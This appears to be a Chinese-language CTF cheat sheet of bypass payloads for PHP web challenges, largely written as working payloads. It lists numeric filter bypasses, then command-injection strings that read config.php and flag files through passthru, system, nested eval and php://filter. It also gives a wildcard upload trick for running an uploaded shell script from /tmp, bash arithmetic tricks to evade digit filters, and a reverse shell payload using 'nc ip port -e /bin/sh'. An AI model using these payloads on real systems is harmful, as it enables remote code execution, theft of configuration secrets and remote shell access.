题目:最大上传值为999,要求传1000才返回值。
or绕:
♾️ abap 代码:?id=2 or id=1000
加减乘除法绕过:
♾️ abap 代码:/?100*10 #乘
/?100/0.1 #除
/?200+800 #加
/?1200-200 #减
二次取反绕过
♾️ abap 代码:/?id=~~1000
单双绕过:
♾️ abap 代码:/?id='1000' #单引号
/?id="1000" #双引号
二进制绕过:
♾️ abap 代码:/?id=0b1111101000
0b是二进制的标识
base64绕过:
♾️ abap 代码:?c=$a=base64_decode('Y2F0IGNvbmZpZy5waHA=');passthru($a);
解密:cat config.php,解码后复制给 $a
,使用 passthru()
函数执行 $a
变量。
``绕过
在Linux中,`` 作用是优先执行里面的内容,再把里面的内容传给外面的语句。
/?c=passthru("ca``t `ls`")
php.base64伪协议绕过:
♾️ abap 代码:/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
GET请求 a
的伪协议值。 include
为包含函数。 ?>
为关闭PHP代码块的标记。
嵌套eval函数绕过:
这里只判断了c这个参数,并不会判断其他参数的传入
♾️ abap 代码:c=eval($_GET[a]);&a=system('cat flag.php');
这里注意后面是a的参数,而不是c的参数,这个payload共传递了两个参数,第一个为嵌套eval第二个为向嵌套的eval传入参数
无字母数字绕过:
我们上传到linux系统中的文件,都会被存放到/tmp目录下,并且传入生成的临时文件中,只有传入的php文件,中含有大写字母,且格式为/tmp/php???的形式,因此可以使用方法来选择传入的php文件/???/???[@-[]此处为何最后一位需要用[@-[]来表示,这需要查阅ascii码表,可以看出,大写字母是被@和[两个字符所包围的,因此[@-[]可以用来表示所有的大写字母。
抓包—>构建post包
?c=.+/???/????????[@-[]
内容:
♾️ abap 代码:#!/bin/sh
ls
上传文件php:
{collapse}
{collapse-item label="php" open}
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title></title>
</head>
<body>
<form action="http://8f79b818-dffd-4d3e-bab6-7afde656b630.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
{/collapse-item}
{/collapse}
取反绕过:
值0为:
♾️ abap 代码:$(())
值-1为:
$((~$(())))
$((~$(())))为一个整体
可以用加号连接再取反:
$((~$(())))+$((~$(())))为-1+1-
把他们当个整体再在外面加个$(())
结果等于-2
想取值为1,就在 $((~$(())))+$((~$(())))
前面加个 ~
,再当成一个整体,这个包含在$(())中。
$((~$(($((~$(())))+$((~$(())))))))
$(())
为输出标准格式。
以此类推,可以绕过数字过滤。
base64绕过:(通解)
加密内容就是要执行的命令
♾️ php 代码:cmd=`echo dGFjIGZsYWcucGhwCg==|base64 -d` ||
script标签绕过:
♾️ php 代码:http://123123.men/?1=<script language="php">system('tac /f*')</script>
反弹shell绕过:
♾️ php 代码:http://123123.men/?1=<?`$_GET[2]`;&2=nc ip port -e /bin/sh